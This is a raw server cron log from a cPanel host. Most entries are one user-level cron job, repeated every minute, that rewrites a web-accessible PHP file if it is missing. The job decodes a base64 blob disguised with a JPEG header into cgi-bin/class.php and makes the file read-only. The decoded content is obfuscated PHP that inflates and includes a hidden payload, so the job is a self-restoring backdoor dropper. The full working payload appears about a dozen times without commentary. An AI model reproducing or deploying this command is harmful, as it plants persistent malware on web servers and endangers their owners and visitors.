Nov 12 14:15:01 server CROND[29375]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 14:15:01 server CROND[29374]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 14:15:01 server CROND[29377]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 14:16:01 server CROND[30351]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 14:17:01 server CROND[31155]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 14:18:01 server CROND[32146]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 14:19:01 server CROND[468]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 14:20:01 server CROND[1401]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 14:20:01 server CROND[1405]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 14:20:01 server CROND[1407]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 14:20:01 server CROND[1411]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 12 14:20:01 server CROND[1409]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 14:21:01 server CROND[2374]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 14:22:01 server CROND[3185]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 14:23:01 server CROND[4003]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 14:24:01 server CROND[4807]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 14:25:01 server CROND[5396]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 14:25:01 server CROND[5397]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 14:25:01 server CROND[5395]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 14:25:01 server CROND[5394]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore &gt;/dev/null 2&gt;&amp;1)
Nov 12 14:26:01 server CROND[6369]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 14:27:01 server CROND[7183]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 14:27:01 server CROND[7184]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
